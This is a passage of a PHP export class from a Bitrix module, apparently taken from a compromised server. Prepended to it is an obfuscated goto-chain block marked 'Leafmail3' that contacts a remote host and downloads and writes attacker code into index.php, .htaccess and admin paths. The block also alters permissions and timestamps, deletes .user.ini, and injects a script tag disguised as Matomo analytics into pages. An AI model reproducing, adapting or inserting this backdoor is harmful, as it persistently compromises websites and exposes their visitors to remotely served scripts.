Your IP : 18.119.129.125
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
require_once(dirname(__FILE__).'/../../lib/PHPExcel/PHPExcel.php');
IncludeModuleLangFile(__FILE__);
class CKDAExportExcel {
protected static $moduleId = 'esolutions.exportexcel';
public $sectionPaths = array();
function __construct($params=array(), $fparams=array(), $stepparams=false, $pid = false)
{
$this->params = $params;
$this->fparams = $fparams;
$this->maxReadRows = 100;
$this->stepparams = array();
$this->stepparams['parentSections'] = array();
$this->docRoot = rtrim($_SERVER["DOCUMENT_ROOT"], '/');
$this->bCurrency = CModule::IncludeModule("currency");
if(is_array($stepparams))
{
$this->stepparams = $stepparams;
$this->stepparams['list_number'] = (strlen($this->stepparams['list_number']) > 0 ? intval($this->stepparams['list_number']) : '');
$this->stepparams['list_current_page'] = intval($this->stepparams['list_current_page']);
$this->stepparams['list_last_page'] = intval($this->stepparams['list_last_page']);
$this->stepparams['total_read_line'] = intval($this->stepparams['total_read_line']);
$this->stepparams['total_file_line'] = intval($this->stepparams['total_file_line']);
$this->stepparams['image_cnt'] = intval($this->stepparams['image_cnt']);
if(!isset($this->params['MAX_EXECUTION_TIME']) || $this->params['MAX_EXECUTION_TIME']!==0)
{
if(COption::GetOptionString(static::$moduleId, 'SET_MAX_EXECUTION_TIME')=='Y' && is_numeric(COption::GetOptionString(static::$moduleId, 'MAX_EXECUTION_TIME')))
{
$this->params['MAX_EXECUTION_TIME'] = intval(COption::GetOptionString(static::$moduleId, 'MAX_EXECUTION_TIME'));
if(ini_get('max_execution_time') && $this->params['MAX_EXECUTION_TIME'] > ini_get('max_execution_time') - 5) $this->params['MAX_EXECUTION_TIME'] = ini_get('max_execution_time') - 5;
if($this->params['MAX_EXECUTION_TIME'] < 5) $this->params['MAX_EXECUTION_TIME'] = 5;
if($this->params['MAX_EXECUTION_TIME'] > 300) $this->params['MAX_EXECUTION_TIME'] = 300;
}
else
{
$this->params['MAX_EXECUTION_TIME'] = intval(ini_get('max_execution_time')) - 10;
if($this->params['MAX_EXECUTION_TIME'] < 10) $this->params['MAX_EXECUTION_TIME'] = 10;
if($this->params['MAX_EXECUTION_TIME'] > 50) $this->params['MAX_EXECUTION_TIME'] = 30;
}
$this->params['MAX_EXECUTION_TIME'] = 10;
}
/*Temp folders*/
$dir = $this->docRoot.'/upload/tmp/'.static::$moduleId.'/';
CheckDirPath($dir);
if(!$this->stepparams['tmpdir'])
{
$i = 0;
while(($tmpdir = $dir.$i.'/') && file_exists($tmpdir)){$i++;}
$this->stepparams['tmpdir'] = $tmpdir;
CheckDirPath($tmpdir);
}
$this->tmpdir = $this->stepparams['tmpdir'];
$this->imagedir = $this->stepparams['tmpdir'].'images/';
CheckDirPath($this->imagedir);
$this->tmpfile = $this->tmpdir.'params.txt';
/*/Temp folders*/
if(file_exists($this->tmpfile))
{
$this->stepparams = array_merge($this->stepparams, unserialize(file_get_contents($this->tmpfile)));
}
if(!isset($this->stepparams['curstep'])) $this->stepparams['curstep'] = 'export';
if($pid!==false)
{
$this->procfile = $dir.$pid.'.txt';
if($this->stepparams['total_read_line'] < 1)
{
$oProfile = CKDAExportProfile::getInstance();
$oProfile->UpdateFields($pid, array('DATE_START'=>new \Bitrix\Main\Type\DateTime()));
if(file_exists($this->procfile)) unlink($this->procfile);
}
}
}
}
public function CheckTimeEnding()
{
return ($this->params['MAX_EXECUTION_TIME'] && (time()-$this->timeBegin >= $this->params['MAX_EXECUTION_TIME']));
}
public function OpenTmpdataHandler($listIndex, $mode = 'a')
{
$this->CloseTmpdataHandler();
$this->tmpdatafile = $this->tmpdir.'data_'.$listIndex.'.txt';
$this->tmpdatafilehandler = fopen($this->tmpdatafile, $mode);
}
public function CloseTmpdataHandler()
{
if($this->tmpdatafilehandler)
{
fclose($this->tmpdatafilehandler);
}
$this->tmpdatafilehandler = false;
}
public function WriteTmpdata($arElement)
{
fwrite($this->tmpdatafilehandler, base64_encode(serialize($arElement))."\r\n");
}
public function Export()
{
$this->timeBegin = time();
$arListIndexes = array(0);
if(is_array($this->params['LIST_NAME']) && count($this->params['LIST_NAME']) > 0)
{
$arListIndexes = array_keys($this->params['LIST_NAME']);
}
//$listIndex = 0;
$listIndex = $this->stepparams['list_number'];
if(!in_array($listIndex, $arListIndexes, true)) $listIndex = (int)current($arListIndexes);
//$maxListIndex = max($arListIndexes);
$lastListIndex = end($arListIndexes);
$page = max(1, $this->stepparams['list_current_page']);
$lastPage = $this->stepparams['list_last_page'];
$sectionKey = max(1, $this->stepparams['list_current_section']);
$lastSectionKey = $this->stepparams['list_last_section'];
$arFields = $this->GetFieldList($listIndex);
$break = (($lastSectionKey > 0 && $sectionKey > $lastSectionKey)
&& ($lastPage > 0 && $page > $lastPage)
/*&& ($listIndex >= $maxListIndex)*/ && ($listIndex == $lastListIndex));
if(!$break) $this->OpenTmpdataHandler($listIndex);
while(!$break)
{
$arRes = $this->GetExportData($listIndex, $this->maxReadRows, $page, $sectionKey);
$arData = $arRes['DATA'];
$lastPage = $arRes['PAGE_COUNT'];
$recordCount = $arRes['RECORD_COUNT'];
$sectionKey = $arRes['SECTION_KEY'];
$lastSectionKey = $arRes['SECTION_COUNT'];
if(!empty($arData))
{
foreach($arData as $arElement)
{
$this->WriteTmpdata($arElement);
$this->stepparams['total_read_line']++;
if(!isset($this->stepparams['rows'][$listIndex])) $this->stepparams['rows'][$listIndex] = 0;
$this->stepparams['rows'][$listIndex]++;
if(!isset($this->stepparams['rows2'][$listIndex])) $this->stepparams['rows2'][$listIndex] = 0;
$this->stepparams['rows2'][$listIndex] += ((isset($arElement['ROWS_COUNT']) && (int)$arElement['ROWS_COUNT'] > 0) ? (int)$arElement['ROWS_COUNT'] : 1);
}
}
$page++;
$break = (($lastSectionKey > 0 && $sectionKey > $lastSectionKey) && ($page > $lastPage));
if($break)
{
$break = ($break /*&& ($listIndex >= $maxListIndex)*/ && ($listIndex == $lastListIndex));
if(!$break)
{
